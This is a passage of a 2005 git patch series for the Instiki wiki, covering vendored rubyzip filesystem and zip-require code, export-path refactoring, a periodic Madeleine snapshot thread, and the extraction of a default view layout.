Errno::ENOENT, "No such file or directory - #{fileName}" + end + @mappedZip.find_entry(fileName) + end + private :get_entry + + def unix_mode_cmp(fileName, mode) + begin + e = get_entry(fileName) + e.fstype == 3 && ((e.externalFileAttributes >> 16) & mode ) != 0 + rescue Errno::ENOENT + false + end + end + private :unix_mode_cmp + + def exists?(fileName) + expand_path(fileName) == "/" || @mappedZip.find_entry(fileName) != nil + end + alias :exist? :exists? + + # Permissions not implemented, so if the file exists it is accessible + alias owned? exists? + alias grpowned? exists? + + def readable?(fileName) + unix_mode_cmp(fileName, 0444) + end + alias readable_real? readable? + + def writable?(fileName) + unix_mode_cmp(fileName, 0222) + end + alias writable_real? writable? + + def executable?(fileName) + unix_mode_cmp(fileName, 0111) + end + alias executable_real? executable? + + def setuid?(fileName) + unix_mode_cmp(fileName, 04000) + end + + def setgid?(fileName) + unix_mode_cmp(fileName, 02000) + end + + def sticky?(fileName) + unix_mode_cmp(fileName, 01000) + end + + def umask(*args) + ::File.umask(*args) + end + + def truncate(fileName, len) + raise StandardError, "truncate not supported" + end + + def directory?(fileName) + entry = @mappedZip.find_entry(fileName) + expand_path(fileName) == "/" || (entry != nil && entry.directory?) + end + + def open(fileName, openMode = "r", &block) + case openMode + when "r" + @mappedZip.get_input_stream(fileName, &block) + when "w" + @mappedZip.get_output_stream(fileName, &block) + else + raise StandardError, "openmode '#{openMode} not supported" unless openMode == "r" + end + end + + def new(fileName, openMode = "r") + open(fileName, openMode) + end + + def size(fileName) + @mappedZip.get_entry(fileName).size + end + + # nil for not found and nil for directories + def size?(fileName) + entry = @mappedZip.find_entry(fileName) + return (entry == nil || entry.directory?) ? nil : entry.size + end + + def chown(ownerInt, groupInt, *filenames) + filenames.each { |fileName| + e = get_entry(fileName) + unless e.extra.member?("IUnix") + e.extra.create("IUnix") + end + e.extra["IUnix"].uid = ownerInt + e.extra["IUnix"].gid = groupInt + } + filenames.size + end + + def chmod (modeInt, *filenames) + filenames.each { |fileName| + e = get_entry(fileName) + e.fstype = 3 # force convertion filesystem type to unix + e.externalFileAttributes = modeInt << 16 + } + filenames.size + end + + def zero?(fileName) + sz = size(fileName) + sz == nil || sz == 0 + rescue Errno::ENOENT + false + end + + def file?(fileName) + entry = @mappedZip.find_entry(fileName) + entry != nil && entry.file? + end + + def dirname(fileName) + ::File.dirname(fileName) + end + + def basename(fileName) + ::File.basename(fileName) + end + + def split(fileName) + ::File.split(fileName) + end + + def join(*fragments) + ::File.join(*fragments) + end + + def utime(modifiedTime, *fileNames) + fileNames.each { |fileName| + get_entry(fileName).time = modifiedTime + } + end + + def mtime(fileName) + @mappedZip.get_entry(fileName).mtime + end + + def atime(fileName) + e = get_entry(fileName) + if e.extra.member? "UniversalTime" + e.extra["UniversalTime"].atime + else + nil + end + end + + def ctime(fileName) + e = get_entry(fileName) + if e.extra.member? "UniversalTime" + e.extra["UniversalTime"].ctime + else + nil + end + end + + def pipe?(filename) + false + end + + def blockdev?(filename) + false + end + + def chardev?(filename) + false + end + + def symlink?(fileName) + false + end + + def socket?(fileName) + false + end + + def ftype(fileName) + @mappedZip.get_entry(fileName).directory? ? "directory" : "file" + end + + def readlink(fileName) + raise NotImplementedError, "The readlink() function is not implemented" + end + + def symlink(fileName, symlinkName) + raise NotImplementedError, "The symlink() function is not implemented" + end + + def link(fileName, symlinkName) + raise NotImplementedError, "The link() function is not implemented" + end + + def pipe + raise NotImplementedError, "The pipe() function is not implemented" + end + + def stat(fileName) + if ! exists?(fileName) + raise Errno::ENOENT, fileName + end + ZipFsStat.new(self, fileName) + end + + alias lstat stat + + def readlines(fileName) + open(fileName) { |is| is.readlines } + end + + def read(fileName) + @mappedZip.read(fileName) + end + + def popen(*args, &aProc) + File.popen(*args, &aProc) + end + + def foreach(fileName, aSep = $/, &aProc) + open(fileName) { |is| is.each_line(aSep, &aProc) } + end + + def delete(*args) + args.each { + |fileName| + if directory?(fileName) + raise Errno::EISDIR, "Is a directory - \"#{fileName}\"" + end + @mappedZip.remove(fileName) + } + end + + def rename(fileToRename, newName) + @mappedZip.rename(fileToRename, newName) { true } + end + + alias :unlink :delete + + def expand_path(aPath) + @mappedZip.expand_path(aPath) + end + end + + class ZipFsDir + + def initialize(mappedZip) + @mappedZip = mappedZip + end + + attr_writer :file + + def new(aDirectoryName) + ZipFsDirIterator.new(entries(aDirectoryName)) + end + + def open(aDirectoryName) + dirIt = new(aDirectoryName) + if block_given? + begin + yield(dirIt) + return nil + ensure + dirIt.close + end + end + dirIt + end + + def pwd; @mappedZip.pwd; end + alias getwd pwd + + def chdir(aDirectoryName) + unless @file.stat(aDirectoryName).directory? + raise Errno::EINVAL, "Invalid argument - #{aDirectoryName}" + end + @mappedZip.pwd = @file.expand_path(aDirectoryName) + end + + def entries(aDirectoryName) + entries = [] + foreach(aDirectoryName) { |e| entries << e } + entries + end + + def foreach(aDirectoryName) + unless @file.stat(aDirectoryName).directory? + raise Errno::ENOTDIR, aDirectoryName + end + path = @file.expand_path(aDirectoryName).ensure_end("/") + + subDirEntriesRegex = Regexp.new("^#{path}([^/]+)$") + @mappedZip.each { + |fileName| + match = subDirEntriesRegex.match(fileName) + yield(match[1]) unless match == nil + } + end + + def delete(entryName) + unless @file.stat(entryName).directory? + raise Errno::EINVAL, "Invalid argument - #{entryName}" + end + @mappedZip.remove(entryName) + end + alias rmdir delete + alias unlink delete + + def mkdir(entryName, permissionInt = 0) + @mappedZip.mkdir(entryName, permissionInt) + end + + def chroot(*args) + raise NotImplementedError, "The chroot() function is not implemented" + end + + end + + class ZipFsDirIterator + include Enumerable + + def initialize(arrayOfFileNames) + @fileNames = arrayOfFileNames + @index = 0 + end + + def close + @fileNames = nil + end + + def each(&aProc) + raise IOError, "closed directory" if @fileNames == nil + @fileNames.each(&aProc) + end + + def read + raise IOError, "closed directory" if @fileNames == nil + @fileNames[(@index+=1)-1] + end + + def rewind + raise IOError, "closed directory" if @fileNames == nil + @index = 0 + end + + def seek(anIntegerPosition) + raise IOError, "closed directory" if @fileNames == nil + @index = anIntegerPosition + end + + def tell + raise IOError, "closed directory" if @fileNames == nil + @index + end + end + + # All access to ZipFile from ZipFsFile and ZipFsDir goes through a + # ZipFileNameMapper, which has one responsibility: ensure + class ZipFileNameMapper + include Enumerable + + def initialize(zipFile) + @zipFile = zipFile + @pwd = "/" + end + + attr_accessor :pwd + + def find_entry(fileName) + @zipFile.find_entry(expand_to_entry(fileName)) + end + + def get_entry(fileName) + @zipFile.get_entry(expand_to_entry(fileName)) + end + + def get_input_stream(fileName, &aProc) + @zipFile.get_input_stream(expand_to_entry(fileName), &aProc) + end + + def get_output_stream(fileName, &aProc) + @zipFile.get_output_stream(expand_to_entry(fileName), &aProc) + end + + def read(fileName) + @zipFile.read(expand_to_entry(fileName)) + end + + def remove(fileName) + @zipFile.remove(expand_to_entry(fileName)) + end + + def rename(fileName, newName, &continueOnExistsProc) + @zipFile.rename(expand_to_entry(fileName), expand_to_entry(newName), + &continueOnExistsProc) + end + + def mkdir(fileName, permissionInt = 0) + @zipFile.mkdir(expand_to_entry(fileName), permissionInt) + end + + # Turns entries into strings and adds leading / + # and removes trailing slash on directories + def each + @zipFile.each { + |e| + yield("/"+e.to_s.chomp("/")) + } + end + + def expand_path(aPath) + expanded = aPath.starts_with("/") ? aPath : @pwd.ensure_end("/") + aPath + expanded.gsub!(/\/\.(\/|$)/, "") + expanded.gsub!(/[^\/]+\/\.\.(\/|$)/, "") + expanded.empty? ? "/" : expanded + end + + private + + def expand_to_entry(aPath) + expand_path(aPath).lchop + end + end + end + + class ZipFile + include ZipFileSystem + end +end + +# Copyright (C) 2002, 2003 Thomas Sondergaard +# rubyzip is free software; you can redistribute it and/or +# modify it under the terms of the ruby license. diff --git a/vendor/rubyzip-0.5.6/zip/ziprequire.rb b/vendor/rubyzip-0.5.6/zip/ziprequire.rb new file mode 100755 index 00000000..9cd4411c --- /dev/null +++ b/vendor/rubyzip-0.5.6/zip/ziprequire.rb @@ -0,0 +1,61 @@ +require 'zip/zip' + +class ZipList + def initialize(zipFileList) + @zipFileList = zipFileList + end + + def get_input_stream(entry, &aProc) + @zipFileList.each { + |zfName| + Zip::ZipFile.open(zfName) { + |zf| + begin + return zf.get_input_stream(entry, &aProc) + rescue Errno::ENOENT + end + } + } + raise Errno::ENOENT, + "No matching entry found in zip files '#{@zipFileList.join(', ')}' "+ + " for '#{entry}'" + end +end + + +module Kernel + alias :oldRequire :require + + def require(moduleName) + zip_require(moduleName) || oldRequire(moduleName) + end + + def zip_require(moduleName) + return false if already_loaded?(moduleName) + get_resource(ensure_rb_extension(moduleName)) { + |zis| + eval(zis.read); $" << moduleName + } + return true + rescue Errno::ENOENT => ex + return false + end + + def get_resource(resourceName, &aProc) + zl = ZipList.new($:.grep(/\.zip$/)) + zl.get_input_stream(resourceName, &aProc) + end + + def already_loaded?(moduleName) + moduleRE = Regexp.new("^"+moduleName+"(\.rb|\.so|\.dll|\.o)?$") + $".detect { |e| e =~ moduleRE } != nil + end + + def ensure_rb_extension(aString) + aString.sub(/(\.rb)?$/i, ".rb") + end +end + +# Copyright (C) 2002 Thomas Sondergaard +# rubyzip is free software; you can redistribute it and/or +# modify it under the terms of the ruby license. From 10214ebb262933f9cb94780d499478ce5d291956 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sat, 15 Jan 2005 21:10:38 +0000 Subject: [PATCH 003/529] Defined externals (for Rails modules), replaced .cvsignore files with svn:ignore properties --- app/models/chunks/wiki.rb | 3 ++- config/environment.rb | 2 +- natives/osx/desktop_launcher/English.lproj/.cvsignore | 2 -- rakefile.rb | 1 + storage/.cvsignore | 5 ----- storage/madeleine_snaps_goes_here | 0 test/functional/wiki_controller_test.rb | 4 ++-- 7 files changed, 6 insertions(+), 11 deletions(-) delete mode 100755 natives/osx/desktop_launcher/English.lproj/.cvsignore delete mode 100755 storage/.cvsignore delete mode 100755 storage/madeleine_snaps_goes_here diff --git a/app/models/chunks/wiki.rb b/app/models/chunks/wiki.rb index d68bbd39..bb83c219 100755 --- a/app/models/chunks/wiki.rb +++ b/app/models/chunks/wiki.rb @@ -1,5 +1,6 @@ require 'wiki_words' require 'chunks/chunk' +require 'chunks/wiki' require 'cgi' # Contains all the methods for finding and replacing wiki related @@ -63,7 +64,7 @@ module WikiChunk class Link < WikiLink def self.pattern() /\[\[([^\]]+)\]\]/ end - ALIASED_LINK_PATTERN ||= Regexp.new('^(.*)?\|(.*)$', 0, "utf-8") + ALIASED_LINK_PATTERN = Regexp.new('^(.*)?\|(.*)$', 0, "utf-8") unless defined? ALIASED_LINK_PATTERN attr_reader :page_name, :link_text diff --git a/config/environment.rb b/config/environment.rb index f8db9b4e..478514d9 100644 --- a/config/environment.rb +++ b/config/environment.rb @@ -42,7 +42,6 @@ end require 'action_controller' require 'active_record_stub' -require 'dependencies' unless defined? RAILS_DEFAULT_LOGGER RAILS_DEFAULT_LOGGER = Logger.new(STDERR) @@ -57,3 +56,4 @@ require 'wiki_service' Socket.do_not_reverse_lookup = true ActionController::Base.template_root ||= "#{RAILS_ROOT}/app/views/" + diff --git a/natives/osx/desktop_launcher/English.lproj/.cvsignore b/natives/osx/desktop_launcher/English.lproj/.cvsignore deleted file mode 100755 index 7f2202d4..00000000 --- a/natives/osx/desktop_launcher/English.lproj/.cvsignore +++ /dev/null @@ -1,2 +0,0 @@ -*~.nib - diff --git a/rakefile.rb b/rakefile.rb index 72743186..2b5986f0 100755 --- a/rakefile.rb +++ b/rakefile.rb @@ -77,3 +77,4 @@ task :stats do ["Libraries", "libraries"] ).to_s end + diff --git a/storage/.cvsignore b/storage/.cvsignore deleted file mode 100755 index e90e33dc..00000000 --- a/storage/.cvsignore +++ /dev/null @@ -1,5 +0,0 @@ -2500 -development -test -.cvsignore -*.zip \ No newline at end of file diff --git a/storage/madeleine_snaps_goes_here b/storage/madeleine_snaps_goes_here deleted file mode 100755 index e69de29b..00000000 diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb index 56998534..eac4e3d9 100755 --- a/test/functional/wiki_controller_test.rb +++ b/test/functional/wiki_controller_test.rb @@ -154,7 +154,7 @@ class WikiControllerTest < Test::Unit::TestCase assert_success assert_equal 'application/zip', r.headers['Content-Type'] - assert_equal 'attachment', r.headers['Content-Disposition'] + assert_match /attachment; filename="wiki1-html-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.zip"/, r.headers['Content-Disposition'] # TODO assert contents of the output file end @@ -163,7 +163,7 @@ class WikiControllerTest < Test::Unit::TestCase assert_success assert_equal 'application/zip', r.headers['Content-Type'] - assert_equal 'attachment', r.headers['Content-Disposition'] + assert_match /attachment; filename="wiki1-textile-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.zip"/, r.headers['Content-Disposition'] # TODO assert contents of the output file end From 778e9420b57b7e9e01937d87589fe7bdc6bc6f91 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 16 Jan 2005 00:21:08 +0000 Subject: [PATCH 004/529] Made pdf action callable, and wrote a naive test for it --- app/controllers/wiki_controller.rb | 6 +++--- test/functional/wiki_controller_test.rb | 11 +++++++++++ 2 files changed, 14 insertions(+), 3 deletions(-) diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index 5e38d494..a3ae9894 100755 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -182,13 +182,13 @@ class WikiController < ApplicationController def pdf page = wiki.read_page(@web_name, @page_name) - safe_page_name = page.name.gsub(/\W/, '') - file_name = "#{safe_page_name}-#{web.address}-#{page.created_at.strftime("%Y-%m-%d-%H-%M")}" + safe_page_name = @page.name.gsub(/\W/, '') + file_name = "#{safe_page_name}-#{@web.address}-#{@page.created_at.strftime("%Y-%m-%d-%H-%M")}" file_path = EXPORT_DIRECTORY + file_name export_page_to_tex(file_path + '.tex') unless FileTest.exists?(file_path + '.tex') convert_tex_to_pdf(file_path + '.tex') - send_export(file_name + '.pdf', file_path + '.pdf') + send_file(file_name + '.pdf') end def print diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb index eac4e3d9..6eda9b16 100755 --- a/test/functional/wiki_controller_test.rb +++ b/test/functional/wiki_controller_test.rb @@ -4,6 +4,10 @@ require File.dirname(__FILE__) + '/../test_helper' require 'wiki_controller' require 'rexml/document' +unless RedClothForTex.available? + $stderr.puts 'Warning: latex is not available, skipping all related tests' +end + # Raise errors beyond the default web-based presentation class WikiController; def rescue_action(e) logger.error(e); raise e end; end @@ -257,6 +261,13 @@ class WikiControllerTest < Test::Unit::TestCase end + def test_pdf + if RedClothForTex.available? + process('pdf', 'web' => 'wiki1', 'id' => 'HomePage') + end + end + + def test_print process('print', 'web' => 'wiki1', 'id' => 'HomePage') assert_success From 88b3a1ba0895b457805720a2ef723c55a97ef8fb Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 16 Jan 2005 01:11:08 +0000 Subject: [PATCH 005/529] Fixed a bug with system creation; also fixed a semi-hardcoded EXPORT_DIRECTORY path in controller --- app/controllers/wiki_controller.rb | 26 ++++++++++++------------- app/models/wiki_service.rb | 2 +- test/functional/wiki_controller_test.rb | 4 ++-- 3 files changed, 15 insertions(+), 17 deletions(-) diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index a3ae9894..261dc068 100755 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -6,15 +6,13 @@ class WikiController < ApplicationController before_filter :pre_process - EXPORT_DIRECTORY = File.dirname(__FILE__) + "/../../storage/" unless const_defined?("EXPORT_DIRECTORY") - def index if @web_name redirect_show 'HomePage' - elsif not wiki.setup? + elsif not @wiki.setup? redirect_to :action => 'new_system' - elsif wiki.webs.length == 1 - redirect_show 'HomePage', wiki.webs.values.first.address + elsif @wiki.webs.length == 1 + redirect_show 'HomePage', @wiki.webs.values.first.address else redirect_to :action => 'web_list' end @@ -23,13 +21,13 @@ class WikiController < ApplicationController # Administrating the Instiki setup -------------------------------------------- def create_system - wiki.setup(@params['password'], @params['web_name'], @params['web_address']) unless wiki.setup? - redirect_to :action => 'index' + @wiki.setup(@params['password'], @params['web_name'], @params['web_address']) unless @wiki.setup? + redirect_show('HomePage', @params['web_address']) end def create_web - if wiki.authenticate(@params['system_password']) - wiki.create_web(@params['name'], @params['address']) + if @wiki.authenticate(@params['system_password']) + @wiki.create_web(@params['name'], @params['address']) redirect_show('HomePage', @params['address']) else redirect_to :action => 'index' @@ -82,7 +80,7 @@ class WikiController < ApplicationController def export_pdf file_name = "#{web.address}-tex-#{web.revised_on.strftime("%Y-%m-%d-%H-%M")}" - file_path = EXPORT_DIRECTORY + file_name + file_path = WikiService.storage_path + file_name export_web_to_tex(file_path + ".tex") unless FileTest.exists?(file_path + ".tex") convert_tex_to_pdf(file_path + ".tex") @@ -91,7 +89,7 @@ class WikiController < ApplicationController def export_tex file_name = "#{web.address}-tex-#{web.revised_on.strftime("%Y-%m-%d-%H-%M")}.tex" - file_path = EXPORT_DIRECTORY + file_name + file_path = WikiService.storage_path + file_name export_web_to_tex(file_path) unless FileTest.exists?(file_path) send_export(file_name, file_path) @@ -184,7 +182,7 @@ class WikiController < ApplicationController page = wiki.read_page(@web_name, @page_name) safe_page_name = @page.name.gsub(/\W/, '') file_name = "#{safe_page_name}-#{@web.address}-#{@page.created_at.strftime("%Y-%m-%d-%H-%M")}" - file_path = EXPORT_DIRECTORY + file_name + file_path = WikiService.storage_path + file_name export_page_to_tex(file_path + '.tex') unless FileTest.exists?(file_path + '.tex') convert_tex_to_pdf(file_path + '.tex') @@ -286,7 +284,7 @@ class WikiController < ApplicationController file_prefix = "#{@web.address}-#{file_type}-" timestamp = @web.revised_on.strftime('%Y-%m-%d-%H-%M-%S') - file_path = EXPORT_DIRECTORY + file_prefix + timestamp + '.zip' + file_path = WikiService.storage_path + file_prefix + timestamp + '.zip' tmp_path = "#{file_path}.tmp" Zip::ZipOutputStream.open(tmp_path) do |zip_out| @@ -306,7 +304,7 @@ class WikiController < ApplicationController EOL end end - FileUtils.rm_rf(Dir[EXPORT_DIRECTORY + file_prefix + '*.zip']) + FileUtils.rm_rf(Dir[WikiService.storage_path + file_prefix + '*.zip']) FileUtils.mv(tmp_path, file_path) send_file(file_path, :type => 'application/zip') end diff --git a/app/models/wiki_service.rb b/app/models/wiki_service.rb index fc4ee56e..5dbd6981 100755 --- a/app/models/wiki_service.rb +++ b/app/models/wiki_service.rb @@ -100,7 +100,7 @@ class WikiService include AbstractWikiService include Madeleine::Automatic::Interceptor - @@storage_path = self.name.downcase + '_storage' + @@storage_path = './storage/' class << self def storage_path diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb index 6eda9b16..504d6aa1 100755 --- a/test/functional/wiki_controller_test.rb +++ b/test/functional/wiki_controller_test.rb @@ -73,7 +73,7 @@ class WikiControllerTest < Test::Unit::TestCase process('create_system', 'password' => 'a_password', 'web_name' => 'My Wiki', 'web_address' => 'my_wiki') - assert_redirected_to :action => 'index' + assert_redirected_to :web => 'my_wiki', :action => 'show', :id => 'HomePage' assert @controller.wiki.setup? assert_equal 'a_password', @controller.wiki.system[:password] assert_equal 1, @controller.wiki.webs.size @@ -89,7 +89,7 @@ class WikiControllerTest < Test::Unit::TestCase process 'create_system', 'password' => 'a_password', 'web_name' => 'My Wiki', 'web_address' => 'my_wiki' - assert_redirected_to :action => 'index' + assert_redirected_to :web => 'my_wiki', :action => 'show', :id => 'HomePage' assert_equal wiki_before, @controller.wiki # and no new wikis shuld be created either assert_equal 1, @controller.wiki.webs.size From 5daf352e68ca70c2c597f975af867e71967ddcf4 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 16 Jan 2005 02:08:36 +0000 Subject: [PATCH 006/529] Providing start files both with .rb extension (for existing /init.d scripts and Win32 double-clicks). and without (for gem distribution) --- instiki | 4 ++++ instiki.rb | 3 +++ 2 files changed, 7 insertions(+) create mode 100644 instiki.rb diff --git a/instiki b/instiki index caf4352d..7706006c 100755 --- a/instiki +++ b/instiki @@ -1,2 +1,6 @@ #!/usr/bin/ruby + +# Executable file for a gem +# must be same as ./instiki.rb + load File.dirname(__FILE__) + "/script/server" diff --git a/instiki.rb b/instiki.rb new file mode 100644 index 00000000..2c7cde12 --- /dev/null +++ b/instiki.rb @@ -0,0 +1,3 @@ +#!/usr/bin/ruby + +load File.dirname(__FILE__) + "/script/server" From bf309d3fbd6e509942dea506f811f16e66eedb5d Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 16 Jan 2005 03:05:45 +0000 Subject: [PATCH 007/529] Madeleine will check every hour if there are new commands in the log or 24 hours have passed since last snapshot, and take snapshot if either of these conditions is true --- app/controllers/wiki_controller.rb | 4 ++-- app/models/wiki_service.rb | 32 +++++++++++++++++++++++++----- 2 files changed, 29 insertions(+), 7 deletions(-) diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index 261dc068..cff255c3 100755 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -79,7 +79,7 @@ class WikiController < ApplicationController end def export_pdf - file_name = "#{web.address}-tex-#{web.revised_on.strftime("%Y-%m-%d-%H-%M")}" + file_name = "#{web.address}-tex-#{web.revised_on.strftime('%Y-%m-%d-%H-%M')}" file_path = WikiService.storage_path + file_name export_web_to_tex(file_path + ".tex") unless FileTest.exists?(file_path + ".tex") @@ -88,7 +88,7 @@ class WikiController < ApplicationController end def export_tex - file_name = "#{web.address}-tex-#{web.revised_on.strftime("%Y-%m-%d-%H-%M")}.tex" + file_name = "#{web.address}-tex-#{web.revised_on.strftime('%Y-%m-%d-%H-%M')}.tex" file_path = WikiService.storage_path + file_name export_web_to_tex(file_path) unless FileTest.exists?(file_path) diff --git a/app/models/wiki_service.rb b/app/models/wiki_service.rb index 5dbd6981..8506039a 100755 --- a/app/models/wiki_service.rb +++ b/app/models/wiki_service.rb @@ -127,8 +127,8 @@ class WikiService end class MadeleineServer - SNAPSHOT_INTERVAL = 60 * 60 * 24 # Each day - AUTOMATIC_SNAPSHOTS = true + + attr_reader :storage_path # Clears all the command_log and snapshot files located in the storage directory, so the # database is essentially dropped and recreated as blank @@ -145,22 +145,44 @@ class MadeleineServer end def initialize(service) + @storage_path = service.storage_path @server = Madeleine::Automatic::AutomaticSnapshotMadeleine.new(service.storage_path, Madeleine::ZMarshal.new) { service.new } - start_snapshot_thread if AUTOMATIC_SNAPSHOTS + start_snapshot_thread end def system @server.system end + def command_log_present? + not Dir[storage_path + '/*.command_log'].empty? + end + def start_snapshot_thread Thread.new(@server) { + hours_since_last_snapshot = 0 while true - sleep(SNAPSHOT_INTERVAL) - @server.take_snapshot + begin + hours_since_last_snapshot += 1 + # Take a snapshot if there is a command log, or 24 hours + # have passed since the last snapshot + if command_log_present? or hours_since_last_snapshot >= 24 + ActionController::Base.logger.info "[#{Time.now.strftime('%Y-%m-%d %H:%M:%S')}] " + + 'Taking a Madeleine snapshot' + @server.take_snapshot + hours_since_last_snapshot = 0 + end + sleep(1.hour) + rescue => e + ActionController::Base.logger.error(e) + # wait for a minute (not to spoof the log with the same error) + # and go back into the loop, to keep trying + sleep(1.minute) + ActionController::Base.logger.info("Retrying to save a snapshot") + end end } end From 041c250837fe212e68128ae9ad2848eae0d1e88e Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 16 Jan 2005 03:12:22 +0000 Subject: [PATCH 008/529] Documented the last change in CHANGELOG --- CHANGELOG | 2 ++ 1 file changed, 2 insertions(+) diff --git a/CHANGELOG b/CHANGELOG index f8977f34..dc8104c0 100755 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,4 +1,6 @@ HEAD: + Madeleine will check every hour if there are new commands in the log or 24 hours have + passed since last snapshot, and take snapshot if either of these conditions is true Wiki extracts (to HTML and plain text) will leave only the last extract file in ./storage Local hyperlinks in published pages point to published pages [Michael DeHaan] Various usability enhancements From 832cfdf60540eedd6e115772db4c6720b57b2d18 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 16 Jan 2005 15:00:11 +0000 Subject: [PATCH 009/529] Extracted default layout --- app/controllers/wiki_controller.rb | 1 + app/views/bottom.rhtml | 4 ---- app/views/{top.rhtml => layouts/default.rhtml} | 15 +++++++++++---- app/views/wiki/authors.rhtml | 4 +--- app/views/wiki/edit.rhtml | 4 +--- app/views/wiki/edit_web.rhtml | 4 +--- app/views/wiki/export.rhtml | 4 +--- app/views/wiki/feeds.rhtml | 4 +--- app/views/wiki/list.rhtml | 4 +--- app/views/wiki/locked.rhtml | 4 +--- app/views/wiki/login.rhtml | 5 +---- app/views/wiki/new.rhtml | 4 +--- app/views/wiki/new_system.rhtml | 4 +--- app/views/wiki/new_web.rhtml | 4 +--- app/views/wiki/page.rhtml | 3 --- app/views/wiki/print.rhtml | 4 +--- app/views/wiki/published.rhtml | 4 +--- app/views/wiki/recently_revised.rhtml | 4 +--- app/views/wiki/revision.rhtml | 4 +--- app/views/wiki/rollback.rhtml | 4 +--- app/views/wiki/search.rhtml | 4 +--- app/views/wiki/web_list.rhtml | 4 +--- test/functional/wiki_controller_test.rb | 2 +- 23 files changed, 31 insertions(+), 67 deletions(-) delete mode 100755 app/views/bottom.rhtml rename app/views/{top.rhtml => layouts/default.rhtml} (81%) mode change 100755 => 100644 diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index cff255c3..e2bdf5ed 100755 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -4,6 +4,7 @@ require 'redcloth_for_tex' class WikiController < ApplicationController + layout 'default', :except => [:rss_feed, :rss_with_headlines, :tex_web, :tex] before_filter :pre_process def index diff --git a/app/views/bottom.rhtml b/app/views/bottom.rhtml deleted file mode 100755 index 01ab2b28..00000000 --- a/app/views/bottom.rhtml +++ /dev/null @@ -1,4 +0,0 @@ -
    - - - \ No newline at end of file diff --git a/app/views/top.rhtml b/app/views/layouts/default.rhtml old mode 100755 new mode 100644 similarity index 81% rename from app/views/top.rhtml rename to app/views/layouts/default.rhtml index bb216eb8..778403a6 --- a/app/views/top.rhtml +++ b/app/views/layouts/default.rhtml @@ -11,7 +11,7 @@ <% end %> - + +
    -
    +

    <% if @page and (@page.name == 'HomePage') and %w( show published print ).include?(@action_name) %> @@ -46,4 +47,10 @@ <% end %>

    - <%= render 'navigation' unless @web.nil? || @hide_navigation %> +<%= render 'navigation' unless @web.nil? || @hide_navigation %> +<%= @content_for_layout %> + +
    +
    + + diff --git a/app/views/wiki/authors.rhtml b/app/views/wiki/authors.rhtml index e4d87eef..77bb0177 100755 --- a/app/views/wiki/authors.rhtml +++ b/app/views/wiki/authors.rhtml @@ -1,4 +1,4 @@ -<% @title = 'Authors' %><%= render 'top' %> +<% @title = 'Authors' %>
      <% for author in @authors %> @@ -9,5 +9,3 @@ <% end %>
    - -<%= render 'bottom' %> diff --git a/app/views/wiki/edit.rhtml b/app/views/wiki/edit.rhtml index 92e78053..eb812d5d 100755 --- a/app/views/wiki/edit.rhtml +++ b/app/views/wiki/edit.rhtml @@ -2,7 +2,7 @@ @title = "Editing #{@page.name}" @content_width = 720 @hide_navigation = true -%><%= render 'top' %> +%> <%= "

    Please correct the error that caused this error in rendering:
    #{@params["msg"]}

    " if @params["msg"] %> @@ -27,5 +27,3 @@ function cleanAuthorName() { } } - -<%= render 'bottom' %> \ No newline at end of file diff --git a/app/views/wiki/edit_web.rhtml b/app/views/wiki/edit_web.rhtml index f1903234..80c60bae 100755 --- a/app/views/wiki/edit_web.rhtml +++ b/app/views/wiki/edit_web.rhtml @@ -1,4 +1,4 @@ -<% @title = "Edit Web" %><%= render 'top' %> +<% @title = "Edit Web" %>

    Name and address

    @@ -134,5 +134,3 @@ function validateSetup() { return true; } - -<%= render 'bottom' %> \ No newline at end of file diff --git a/app/views/wiki/export.rhtml b/app/views/wiki/export.rhtml index 5712a987..685ac1c8 100755 --- a/app/views/wiki/export.rhtml +++ b/app/views/wiki/export.rhtml @@ -1,4 +1,4 @@ -<% @title = "Export" %><%= render 'top' %> +<% @title = "Export" %>

    You can export all the pages in this web as a zip file in either HTML (with working links and all) or the pure markup (to import in another wiki).

    @@ -10,5 +10,3 @@
  • PDF <% end %> - -<%= render 'bottom' %> diff --git a/app/views/wiki/feeds.rhtml b/app/views/wiki/feeds.rhtml index cc0169bb..35a02197 100755 --- a/app/views/wiki/feeds.rhtml +++ b/app/views/wiki/feeds.rhtml @@ -1,4 +1,4 @@ -<% @title = "Feeds" %><%= render 'top' %> +<% @title = "Feeds" %>

    You can subscribe to this wiki by RSS and get either just the headlines of the pages that change or the entire page.

    @@ -6,5 +6,3 @@
  • ">Full content (RSS 2.0)
  • ">Headlines (RSS 2.0) - -<%= render 'bottom' %> diff --git a/app/views/wiki/list.rhtml b/app/views/wiki/list.rhtml index 3f416229..471a3508 100755 --- a/app/views/wiki/list.rhtml +++ b/app/views/wiki/list.rhtml @@ -1,4 +1,4 @@ -<% @title = "All Pages" %><%= render 'top' %> +<% @title = "All Pages" %> <% unless @categories.empty? %>
    @@ -55,5 +55,3 @@ <% end %>
    - -<%= render 'bottom' %> diff --git a/app/views/wiki/locked.rhtml b/app/views/wiki/locked.rhtml index a12ade5f..79f0458e 100755 --- a/app/views/wiki/locked.rhtml +++ b/app/views/wiki/locked.rhtml @@ -1,4 +1,4 @@ -<% @title = "#{@page.plain_name} is locked" %><%= render 'top' %> +<% @title = "#{@page.plain_name} is locked" %> <% if @page.lock_duration(Time.now) == 0 %>

    <%= @page.locked_by_link %> just started editing this page.

